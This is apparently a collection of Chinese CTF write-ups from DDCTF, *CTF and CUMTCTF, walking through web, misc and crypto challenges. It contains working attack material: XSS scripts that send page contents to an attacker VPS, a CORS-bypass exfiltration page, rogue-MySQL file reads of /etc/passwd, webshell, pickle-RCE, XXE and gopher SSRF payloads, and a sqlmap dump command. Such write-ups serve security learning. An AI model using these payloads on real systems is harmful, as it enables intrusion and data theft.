def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume: raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    print 'show_flag'
    flag = args[0]
    #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    print 'get_flag'
    if session['num_items'] >= 5:
        trigger_event(
            'func:show_flag;' +
            FLAG())  # show_flag_function has been disabled, no worries
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0')

通读一遍我们即可知道,它是基于事件循环处理,它维护了一个事件队列,用trigger_event函数添加事件,在每次请求时循环处理队列

它的URL都是这样的http://116.85.48.107:5002/d5af31f66147e857/?action:view;shop,服务器通过读取query_string,也就是?后面的字符串,然后解析:;之间的为action参数, ;之后的为params参数

再读一遍我们即可发现端倪:

  • eval函数,明明多写几个条件判断就可以实现的功能却用了eval函数,这里可能需要利用
  • 买diamond时先加diamond数,然后判断钱不够时再利用存储在request变量里的prev_session回滚,这样也就是说不论我们的钱是否够买,都会有一个短暂时期获得了diamond,只不过请求结束时会回滚

首先尝试eval函数,我们看到它是这样的

event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)

action就是URL里:和;之间的值,是可控的,我们尝试一下用#注释掉之后的语句可发现,我们能控制event_handler成为任意函数,(但不可调用,因为括号被过滤了)调用需要由它来调用,且传入的参数也为我们可控

但是想尝试调用FLAG函数是不行的,因为FLAG函数0参而event_handler调用时会传入一个参数

这时将两个漏洞点结合起来考虑:

我们利用eval赋值event_handler为trigger_event函数,并且传入两个事件,分别为购买5个钻石和调用get_flag函数,这样的话整个请求的事件队列执行流程为:

买五个钻石 --> 调用get_flag --> 钱不够,回滚

虽然请求结束回滚了,但是在调用get_flag函数时已经将FLAG函数的结果写入日志了

trigger_event(
            'func:show_flag;' +
            FLAG())  

而日志存在session里,我们可以将session的jwt解码后读取

故传入payload:action:trigger_event%23;action:buy;5%23action:get_flag;

日志:

解码后获得flag:

3v41_3v3nt_100p_aNd_fLASK_c00k1e


欢迎报名DDCTF

这道题感觉中途改了很多,而且没啥营养……页面挂了我就不截图了

提示:

提示:XSS不是获取cookie
提示2:之后是注入

首先进入后是一个报名表单,想到肯定是XSS,而且没有任何过滤(除了过滤了”php”,因为题目需要读admin.php)。首先XSS后会在referer发现是从admin.php请求的

读取admin.php

报名表单传入
<script src=http://VPS_IP/evil.js></script>
// evil.js
fetch("http://117.51.147.2/Ze02pQYLf5gGNyMn/admin.php").then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST', body: JSON.stringify({k: v})}));

读到源码

<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="UTF-8">
        <!--每隔30秒自动刷新-->
        <meta http- equiv="refresh" content="30">
        <title>DDCTF报名列表</title>
</head>
<body>
        <table  align="center" >
                < thead>
                        <tr>
                                <th>姓名</th>
                                <th>昵称</th>
                                <th>备注</th>
                                <th>时间</th>
                \ t</tr>
                </thead>
                <tbody>
                        <!-- 列表循环展示 -->
                                                <tr>
                                <td> 1 </td>
                                <td> 1 </td>
                                <td> <script src=http://xss.tf/kAD></script> </td>
                                <td> 2019-04-17 06:11:43 </td>

                        </tr>
                    
                                 ...............
                    
                        </tr>
                                                <tr>
                                <td>
                                        <a target="_blank"  href="index.php">报名</a>
                                </td>
\ n                     <!-- <a target="_blank"  href="query_aIeMu0FUoVrW0NWPHbN6z4xh.php"> 接口 </a>-->
                </tbody>
        </table>
</bo dy>
</html>

发现注释掉的接口,访问后提示要传入param参数

经过一番探测后发现是宽字节注入,没有任何过滤,只addslash了单引号和过滤了等号,既然过滤这么少那么就SQLMap一把梭吧:

sqlmap.py -u "http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=%df" --dbms=mysql --technique T --hex - -level 3 -D ctfdb -T ctf_fhmHRPL5 -C ctf_value --dump


大吉大利,今晚吃鸡~

这个题代码逻辑有漏洞…..注册页如果提示用户已注册的话会直接办法cookie,所以也就意味着可以登录任意账号

进入题目需要买票,2000元但我们只有100元

抓包创建订单链接发现价格是前端传入的,尝试修改发现只允许>0,猜测存在整形溢出,尝试uint32,传入2^32

接着点击支付即会在后端发生溢出,成功支付

进入后台

需要输入id和ticket来移除对手,最后吃鸡的话才有flag。所以思路很清楚了,写脚本注册账号,提取id和ticket后给自己大号杀,让大号吃鸡

import requests
import time

users = (str(i) for i in range(500, 1000))

with open('t', 'a+') as fp:
    ts = set(fp.read().split('\n'))
    for u in users:
        time.sleep(1)
        s = requests.Session()
        r = s.get(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')
        print(f'http://117.51.147.155:5050/ctf/api/register?name={u}&password=12345678')
        try:
            resp = r.json()
        except:
            pass
        if resp['code'] != 404:
            continue

        r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')
        r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])
        r = s.get('http://117.51.147.155:5050/ctf/api/search_ticket')
        try:
            resp = r.json()
        except:
            pass
    
        for tmp in resp['data']:
            _id = tmp['id'] 
            t = tmp['ticket']
            if str(_id)+'::'+t not in ts:
                fp.write(str(_id)+'::'+t+'\n')
    

批量获取ticket(养猪)

然后杀了他们

import requests
import time

d = open('t', 'r').read().split('\n')

for i in d:
    print(i)
    time.sleep(2)
    _id = i.split('::')[0]
    t  = i.split('::')[1]
    r = requests.get(f'http://117.51.147.155:5050/ctf/api/remove_robot?id={_id}&ticket={t}', headers={'Cookie': 'user_name=YOUE_NAME; REVEL_SESSION=YOUR_TOKEN'})            
    print(r.text)



mysql弱口令

个人感觉这道题出的也挺不错

首先需要在服务器上部署agent.py,说是代理,其实只是在服务器上执行ps然后返回结果

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 12/1/2019 2:58 PM
# @Author  : fz
# @Site    : 
# @File    : agent.py
# @Software: PyCharm

import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE


class RequestHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        request_path = self.path

        print("\n----- Request Start ----->\n")
        print("request_path :", request_path)
        print("self.headers :", self.headers)
        print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.send_header("Location", "http://127.0.0.1")
        self.end_headers()

        result = self._func()
        self.wfile.write(json.dumps(result))


    def do_POST(self):
        request_path = self.path

        # print("\n----- Request Start ----->\n")
        print("request_path : %s", request_path)

        request_headers = self.headers
        content_length = request_headers.getheaders('content-length')
        length = int(content_length[0]) if content_length else 0

        # print("length :", length)

        print("request_headers : %s" % request_headers)
        print("content : %s" % self.rfile.read(length))
        # print("<----- Request End -----\n")

        self.send_response(200)
        self.send_header("Set-Cookie", "foo=bar")
        self.end_headers()
        result = self._func()
        self.wfile.write(json.dumps(result))

    def _func(self):
        netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
        netstat.wait()

        ps_list = netstat.stdout.readlines()
        result = []
        for item in ps_list[2:]:
            tmp = item.split()
            Local_Address = tmp[3]
            Process_name = tmp[6]
            tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
            result.append(tmp_dic)
        return result

    do_PUT = do_POST
    do_DELETE = do_GET


def main():
    port = 8123
    print('Listening on localhost:%s' % port)
    server = HTTPServer(('0.0.0.0', port), RequestHandler)
    server.serve_forever()


if __name__ == "__main__":
    parser = OptionParser()
    parser.usage = (
        "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
        "Run:\n\n")
    (options, args) = parser.parse_args()

    main()

所以我们大胆猜测一下,既然是mysql弱口令,那么肯定需要我们的mysql服务器开到公网并且能够hack掉mysql客户端,联想到之前看到的LOAD DATA INFILE读取客户端任意文件

具体请看文章https://www.anquanke.com/post/id/106488,我就不赘述了

利用这个工具https://github.com/Gifts/Rogue-MySql-Server

首先在服务器部署agent.py,并且将返回值固定并一定要返回mysqld(这是检测服务器是否开启mysql的),接着让题目的主机扫描你的服务器,题目的主机会 发起查询请求,我们即可读取任意文件

首先读取/etc/passwd

2019-04-16 10:50:03,847:INFO:Result: '\x02root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/
......略
tfix:/sbin/nologin\nchrony:x:998:995::/var/lib/chrony:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\ndc2-user:x:1000:1000::/home/dc2-user:/bin/bash\nmys
    ql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash\nmongod:x:997:994:mongod:/var/lib/mongo:/bin/false\nnginx:x:996:993:Nginx web server:/var/lib/nginx:/sbin/nologin\n'

发现我们没有root权限,猜测我们的权限为/etc/passwd中的dc2-user:x:1000:1000::/home/dc2-user:/bin/bash

读取该用户的历史bash命令:/home/dc2-user/.bash_history

.......略
'nls     \ncd ../\nls\ncd env/\nls\ncd ../\nls\ncd web_1/\nls\nls -la\ncd ../../\nls\ncd ctf_web_\ncd ctf_web_2\nls\nls -la\ncd log/\nlks\nls\ncat gunicorn.log \n;s\ncat gunicorn     .err \nls\nnetstat -plnt\nls\nps -aux | grep gunicorn\nls\ncd ../\nls\ncat start.sh \nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \ncat start.sh \nls\ncd ../\nls\n     cd ctf_web_1/\nls\ncd web_1/\nls\ncd ../\nls\ncd ../\nls\ncd ctf_web_2/\nls\ncat restart.sh \nnetstat -plnt\nps -uax | gr)
...

再读取程序运行的命令行:/proc/self/cmdline

home/dc2-user/ctf_web_2/ctf_web_2/bin/python2 /home/dc2-user/ctf_web_2/ctf_web_2/bin/gunicorn didi_ctf_web2:app -b 127.0.0.1:15000 --access-logfile /home/dc2-user/ctf_web_2/2_access.log

这样即可得知目录结构,我们循环着读源码(中间因为我们不知道导入的是包还是单文件,所以逐个尝试,不过大多都是包):

最后在views.py里

# flag in mysql  curl@localhost database:security  table:flag

flag在数据库,所以我们尝试读数据库文件,首先读my.cnf确定数据存放的目录:/etc/my.cnf

# read_rnd_buffer_size = 2M
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock

# Disabling symbolic-links is recommended to prevent assorted security risks
symbolic-links=0

这时我们即可读取数据库的文件,数据库文件每个库一个文件夹,每个表单独存放,可能是tablename.MYDtablename.idb,根据数据库引擎不同而异,读取后即可在其中找到flag

$ strings mysql.log | grep DDCTF


*CTF2019

太菜了,Web就做出一道题,剩下两道一道页游一脸懵逼(虽然提示了跟Mongo有关),另一道tm是不是给错category了啊

Misc做出了一道。homebrew eventloop很有意思,和DDCTF2019里的是同款,garzon大佬出的,研究了一会儿想着怎么绕过sys.stdin的赋值就可以通过py2的input函数getflag,之后提示所有bug都是有意的,又思考那个split(xx, '114514')确定是有意的吗,我觉得是作者fp写多了以为Python里列表解包能[head | tail]。最后思考了一下变量覆盖就绕过了,第二个homebrew eventloop看了一眼不知道怎么RCE

之后….之后就去复习OS了….2019*CTF之旅end

mywebsql

这道题要不是有人搅屎差点就拿了三血…

上来给了一个MyWebSQL的管理登录页,admin/admin登录后利用日志备份getshell,和phpmyadmin一样的套路

这道题最大的挑战在getshell后要利用webshell执行/readflag,交互的计算一个表达式,搜了搜PHP开子进程的函数,找到一个proc_open,写个脚本,getflag

import requests

url = 'http://34.92.36.201:10080/backups/iv4n.php'

r = requests.post(url, data={
    'ck': """$d=array(
                0=>array("pipe","r"),
                1=>array("pipe","w"),
                2=>array("pipe","w")
              );
              $p=proc_open("/readflag",$d,$pipes);
              $data=fread($pipes[1],65535);
              $data=fread($pipes[1],65535);
              echo $data."\n";
              $calc=$data;
              echo $calc."\n";
              eval('$res='.$calc.";");
              echo $res."\n";
              $data=fread($pipes[1],65535);
              fwrite($pipes[0],$res);
              fclose($pipes[0]);
              var_dump(stream_get_contents($pipes[1]));
              fclose($pipes[1]);
              proc_close($p);"""
    })

print(r.text)

做题时有人搅屎写了死循环删shell,然后一边另起线程死循环上传,一边执行


homebrew eventloop

#!/usr/bin/python
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import sys
import hashlib
import random

# private ------------------------------------------------------------
def flag():
    # flag of stage 1
    return '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'

def flag2():
    ret = ''
    # flag of stage 2
    # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2!
    return ret

def switch_safe_mode_factory():
    ctx = {'io_pair': [None, None]}
    def __wrapper(): (ctx['io_pair'], (sys.stdin, sys.stderr)) = ([sys.stdin, sys.stderr], ctx['io_pair'])
    return __wrapper

def PoW():
    # return
    while True:
        a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex')
        print 'hashlib.sha1(input).hexdigest() == "%s"' % a
        print '>',
        input = raw_input()
        if input == a:
            break
        print 'invalid PoW, please retry'

# protected ----------------------------------------------------------
def fib(a):
    if a <= 1: return 1
    return fib(a-1)+fib(a-2)

# public -------------------------------------------------------------
def load_flag_handler(args):
    global session
    session['log'] = flag2()
    return 'done'

def ping_handler(args):
    return 'pong'

def fib_handler(args):
    a = int(args[0])
    if a > 5 or a < 0: return 'out of range'
    return str(fib(a))

if __name__ == '__main__':
    session = {}
    session['log'] = flag()
    switch_safe_mode = switch_safe_mode_factory()
    switch_safe_mode_factory = None
    valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]')

    while True:
        PoW()
        print '$',
        event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ...
        switch_safe_mode()
        if event == 'exit': break

        for c in event:
            if c not in valid_event_chars:
                print "invalid request"
                exit(-1)

        event, args = event.split('114514')
        args = args.split('114514')
        try:
            handler = eval(event)
            print handler(args)
        except Exception, e:
            print 'exception:', str(e)

很简单,一开始的思路就在switch_safe_mode上,只要能恢复stdin/stdout就可以通过执行input读到session。通过白名单中的方括号,列表解析表达式变量覆盖

#payload

[[dir]for[PoW]in[[switch_safe_mode]]for[switch_safe_mode]in[[dir]]]114514
input114514
# 输入session即可
λ python serve.py
hashlib.sha1(input).hexdigest() == "4284"
> 4284
$ [[dir]for[PoW]in[[switch_safe_mode]]for[switch_safe_mode]in[[dir]]]114514
exception: 'list' object is not callable
$ input114514
['']session
{'log': '*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'}
$

CUMTCTF双月赛III

第一次出题维护比赛,wp是出题人视角


Web


Web2签到

<?php

include 'flag.php';
error_reporting(0);
highlight_file(__FILE__);


class P {
    private $var;
    
    function __invoke(){
        eval(
            'global '.$this -> var.';'.
            '$ret = '.$this -> var.';'
        );
        return $ret;
    }
}


class K {
    protected $fn;
    public $name;
    
    function __toString(){
        $fn = $this -> fn;
        return $fn();
    }
}


class U {
    public $obj;

    function __wakeup(){
        if (!isset($this->obj->name) || $this->obj->name != "iv4n") {
            $this -> obj -> fn = function(){};
        }
    }
}


echo unserialize($_POST['obj'])->obj; 

签到反序列化,没什么好说的

// exp
<?php
@error_reporting(0);

class P {
    private $var;

    function __construct(){
        $this -> var = '$flag';
    }
}


class K {
    protected $fn;
    public $name;

    function __construct(){
        $this -> fn = new P();
    }
}


class U {
    public $obj;
}


$o = new U();
$q = new K();
$q -> name = "iv4n";
$o -> obj = $q;

echo urlencode(serialize($o));

P.s. 两道签到题都可以getshell


Baby Flask

知识点

  • Github commits history信息泄露
  • /proc/self进程元信息
  • Flask伪造client-side cookie
  • Python Pickle序列化RCE

页面注释给了Github地址,仅三个文件却有6个commits,查看历史commits

app.config['SECRET_KEY'] = os.getenv('secret_key')

密钥从环境变量中获取,结合文件读取接口获取密钥

?file=/proc/self/environ

获取到后即可伪造Cookie,将Cookie修改为一段可RCE序列化数据,利用魔术方法__reduce__

class U():
    def __reduce__(self):
        return (os.system, ('command here',))

这里反序列化有几个点需注意:

  • Python版本问题,2和3序列化后数据不同
  • 系统问题,Python os库实际为nt库和posix库的映射

成功RCE后即可获得flag,可选择反弹shell或执行命令重定向到文件,这里依旧有坑:

  • python-alpine镜像中没有bash,没有/dev/tcp,反弹shell需用Python fork sh进程
  • 我做了权限控制,用户没有当前目录和根目录写入权限,可写入家目录或/tmp

最终flag在根目录


Secret service

知识点

  • Golang SSTI
  • MySQL SSRF via Socks5 protocol

页面仅有一个输入点即header的X-Forwarded-For,尝试SSTI

curl http://202.119.201.199:40102 -H "X-Forwarded-For: {{ . }}"

获得数据

map[app:chanllenge config:map[sqlConf:0xc4201c83b0 serviceConf:0xc4201c83c0]]

后端传入了map[string]interface{},这里我手动加难度,传入了字符串指针,需手动访问到才会自动解引

{{ .config.sqlConf }}
{{ .config.serviceConf }}

{{ range .config }}{{ . }}{{ end }}

获得敏感信息

socks5://202.119.201.199:40103

mysql://127.0.0.1:3306
user: iv4n
passwd:
database: ctf
table: flag_1s_here_got_me

很容易想到是MySQL SSRF,根据RFC1928

+----+-----+-------+------+----------+----------+
|VER | CMD |  RSV  | ATYP | DST.ADDR | DST.PORT |
+----+-----+-------+------+----------+----------+
| 1  |  1  | X'00' |  1   | Variable |    2     |
+----+-----+-------+------+----------+----------+

Socks代理实际是根据客户端控制报文的DST.ADDR与DST.PORT来与真实服务器建立TCP连接,接着双向转发数据,根据这一点,控制报文中填入内网IP即可进行SSRF

先利用工具生成Gopher payload

接着可利用curl -x PROXY_URL将Gopher流量传到:3306;也可自己手动控制Socks5报文传入流量;(当然直接proxychains挂代理后用mysql客户端连接也是可以的)

curl gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%76%34%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%26%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%63%74%66%2e%66%6c%61%67%5f%31%73%5f%68%65%72%65%5f%67%6f%74%5f%6d%65%01%00%00%00%01 -x "socks5://202.119.201.199:40103"
# exp.py
import socket

s = socket.socket()
s.connect(('202.119.201.199', 40103))
s.send(b'\x05\x01\x00')
s.recv(1024)
s.send(b'\x05\x01\x00\x01\x7F\x00\x00\x01\x0c\xEA')
s.recv(1024)

s.send(b'\xa3\x00\x00\x01\x85\xa6\xff\x01\x00\x00\x00\x01\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x76\x34\x6e\x00\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00\x66\x03\x5f\x6f\x73\x05\x4c\x69\x6e\x75\x78\x0c\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x6e\x61\x6d\x65\x08\x6c\x69\x62\x6d\x79\x73\x71\x6c\x04\x5f\x70\x69\x64\x05\x32\x37\x32\x35\x35\x0f\x5f\x63\x6c\x69\x65\x6e\x74\x5f\x76\x65\x72\x73\x69\x6f\x6e\x06\x35\x2e\x37\x2e\x32\x32\x09\x5f\x70\x6c\x61\x74\x66\x6f\x72\x6d\x06\x78\x38\x36\x5f\x36\x34\x0c\x70\x72\x6f\x67\x72\x61\x6d\x5f\x6e\x61\x6d\x65\x05\x6d\x79\x73\x71\x6c\x29\x00\x00\x00\x03\x73\x65\x6c\x65\x63\x74\x20\x66\x6c\x61\x67\x20\x66\x72\x6f\x6d\x20\x63\x74\x66\x2e\x66\x6c\x61\x67\x5f\x31\x73\x5f\x68\x65\x72\x65\x5f\x67\x6f\x74\x5f\x6d\x65\x01\x00\x00\x00\x01')

data = s.recv(1024)
while data:
    print(data)
    data = s.recv(1024)


Json API

这道题我参考了现实中Hackerone的一个Yahoo SOP绕过漏洞

考点:

  • CORS config
  • Bypass SOP

看到题目即知需要XSS,但是Cookie是httponly的,想直接让管理员访问/flag页面你会发现返回的数据是undefined,为什么?跨域了

跨域方式就那几种,随便试试即可知是用了CORS头来跨域

$ curl http://202.119.201.199:40107 -v -H "Origin: http://example.com"
* Rebuilt URL to: http://202.119.201.199:40107/
*   Trying 202.119.201.199...
* TCP_NODELAY set
* Connected to 202.119.201.199 (202.119.201.199) port 40107 (#0)
> GET / HTTP/1.1
> Host: 202.119.201.199:40107
> User-Agent: curl/7.55.1
> Accept: */*
> Origin: http://example.com
>
< HTTP/1.1 200 OK
< Server: gunicorn/19.9.0
< Date: Sat, 11 May 2019 10:07:27 GMT
< Connection: close
< Content-Type: application/json
< Content-Length: 16
< Access-Control-Allow-Credentials: true
< Access-Control-Allow-Origin: http://iv4n.xyz
< Vary: Cookie
< Set-Cookie: session=eyJ1c2VybmFtZSI6InVzZXIifQ.XNae3w.FQImaHD3-bbuJLAkmLcM5toa4GU; HttpOnly; Path=/
<
{"status":"ok"}
* Closing connection 0

接着就是描述提到的多个子域名*.iv4n.xyz

CORS头配置只允许单个域名或*通配,不允许*.iv4n.com的写法

Access-Control-Allow-Origin: http://iv4n.xyz
Access-Control-Allow-Origin: *

所以实际开发中都是动态反射来设置CORS头,这里我后台正则写的是

domain_url = re.compile(r'^https?:\/\/(.*\.)?iv4n.xyz([^\.\-a-zA-Z0-9]+.*)?')

匹配上了即为我的子域名(不同协议、不同子域名、不同端口、不同路径),便将CORS设置为Origin的值支持跨域,匹配失败即返回http://iv4n.xyz阻止跨域

我的本意是需要用http://iv4n.xyz_.example.com进行绕过,但很不巧某些系统不支持特殊字符的域名,所以最后改写了后续判断

传入http://iv4n.xyz.example.com会匹配到[('', '')],直接丢到if里会当做True,即可实现绕过。(按本意会匹配到[('', '_.example.com')]

故最终的解题思路:

  1. 设置域名解析iv4n.xyz.example.com => YOUR_VPS_IP

  2. 服务器上放置payload

    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
        <meta http-equiv="content-type" content="text/html; charset=utf-8" />
        <title>VEIL</title>
        <script src="http://libs.baidu.com/jquery/1.7.2/jquery.min.js"></script>
    </head>
    <body>
        <script charset="utf-8">
             htmlobj = $.ajax({
                            url: "http://202.119.201.199:40107/admin", 
                            async: false,
                            xhrFields: {
                                withCredentials: true
                            }});
             $.ajax({url: "http://YOUR_VPS_IP:9000/"+htmlobj.responseText, async: false});
        </script>
    </body>
    </html>
       
    
  3. 提交给管理员

  4. 接收到/admin页面的flag


Misc

出了两道Misc题纯粹好玩


WHOAMI??

偷来了中科大校赛的题,查看响应状态码为418,i’m a teapot(超文本茶壶控制协议)C/S大佬们的幽默

居然有选手选择了爆破……而且真有人爆破出了teapot…


Lisp

一样的简单题

;; Author: Iv4n

;; input your flag-string here
(define flag *****)
(define final-string '(97 100 206 218 135 230 70 242 104 107 95 104 97 107 100 206 101 218 137))

(define (process-flag flag)
    (define (convert i)
        (let ([iv-0 #x0c]
              [iv-1 #x2e]
              [iv-2 #x3a])
            (cond ((= (remainder i 3) 1) (+ (* i 2) iv-0))
                  ((= (remainder i 2) 0) (+ (/ i 2) iv-1))
                  ((> i 90) (+ i iv-0))
                  (else (+ i iv-2)))))
    (define (iter lst)
        (cond ((null? lst) '())
              ((not (pair? lst)) (list (convert lst)))
              (else (append (iter (car lst)) (iter (cdr lst))))))
    (iter flag))

(define converted-string (process-flag flag))
(display (if (equal? converted-string final-string)
    "Congratulations!"
    "try again~"))

算法没什么难度,递归处理了列表,对每个值进行转换,只需要暴力找出所有值的可能解,然后笛卡尔集组合一下,最后根据flag格式筛选,找出有意义的字符串即可

# solve.py
a = '97 100 206 218 135 230 70 242 104 107 95 104 97 107 100 206 101 218 137'.split(' ')
a = [int(i) for i in a]
iv_0 = 0x0c
iv_1 = 0x2e
iv_2 = 0x3a

res = []
for i in a:
    t = []
    if ((i - iv_0) / 2) % 3 == 1:
        t.append(int((i - iv_0) / 2))
    t.append((i - iv_1) * 2)
    if (i - iv_0) > 90:
        t.append(i - iv_0)
    t.append(i - iv_2)
    res.append(t)


from itertools import product

for i in res:
    for w in i[:]:
        if chr(w) not in '{}1234567890_qwertyuiopasdfghjklzxcvbnm':
            i.remove(w)

for r in product(*res):
    t = ''.join([chr(i) for i in r])
    if t[:5] == 'flag{' and t[-1] == '}':
        print(t)

BlockChain

pragma solidity ^0.4.24;

contract Safe {
  bytes32 private passwd;
  mapping(address => bool) public isUnLocked;
  address private owner;
  event FLAG(string b64email, string slogan);

  function Safe(bytes32 _passwd) public {
    owner = msg.sender;
    passwd = _passwd;
  }
  
  function unlock(bytes32 _passwd) public {
    require (passwd == _passwd);
    isUnLocked[msg.sender] = true;
  }

  function captureTheFlag(string b64email) public{
    require (isUnLocked[msg.sender] == true);
    emit FLAG(b64email, "Congratulations to capture the flag!");
  }
}

魔改了zeppelin的题,区块链所有数据都是公有的,直接访问合约属性即可获得密码


中关村网络与信息安全领域专项赛

Game

查看前端代码,$.ajax发包score=15

Who are you

XXE + PHP伪协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]>
<feedback><author>&b;</author></feedback>

Show me your image

观察Cookie格式为Flask框架,存在文件读取接口img.php?name=,fuzz后猜测是更换了码表的base64

由于base64是3bytes一组编码为4bytes,可以将服务端编码的字符串解码后除去末尾的.jpg后缀来达到任意文件读取

脚本:

import requests
import sys
import os
import json
import base64

try:
    import urllib.parse as parse
except:
    import urllib as parse

filename = sys.argv[1]
url = 'http://040e0b15532e43929b8c5f5160cb0e51420d26a57ed548a7.changame.ichunqiu.com/'

r = requests.post(url+'upload.php', files={
    'file': (filename+'.jpg', b'xxx', 'image/jpeg')
    }, allow_redirects=0)
cookie = r.headers['Set-Cookie'][8:].split(';')[0]

k = os.popen('python flask_session_cookie_manager2.py decode -c '+'"'+cookie+'"')
x = json.loads(k.read())['file'][' b']

b = base64.b64decode
def decode(s):
    return base64.b64encode(b(b(s))[:-4])

r = requests.get(url+'img.php?name='+parse.quote(decode(x).decode()))
print(r.text)
$ python3 t.py "../../../../../etc/passwd"

根据题目hint读取templates/upload.html,由于编码存在分组填充,所以需要尝试填充/./使达到3bytes一组

$ python3 t.py "../../../.././proc/self/cwd/templates/upload.html"

看到提示flag在/root/flag.txt,由于当前即为root权限,所以直接读取即可

Crypto

dp

原题,去学长博客找脚本跑

https://skysec.top/2018/08/24/RSA%E4%B9%8B%E6%8B%92%E7%BB%9D%E5%A5%97%E8%B7%AF(1)/

sm4

sm4算法,github上找lib

$ go test                                                         
key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104]                     data = 2e30dc9cb8da390df65b013f3c436940                                                 d1 = 534d343a2020666c61677b31636161390000000000000000000000000000000000000000000000000000000000000000                   
key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104]                     data = 95f0d94d6b31de3d9be1e7c4a7790910                                                 d1 = 3662652d343236362d346138652d62640000000000000000000000000000000000000000000000000000000000000000                   
key = [13 204 99 177 254 41 198 163 201 226 56 214 192 194 98 104]                     data = 3cb6416527fdfae009cc9a7ace2b613b                                                 d1 = 32632d6563653937373439353439377d0000000000000000000000000000000000000000000000000000000000000000                   
PASS                                                                                   ok      _/C_/Users/40691/Downloads/Compressed/gmsm-master/sm4   0.281s  

将三段拼接即可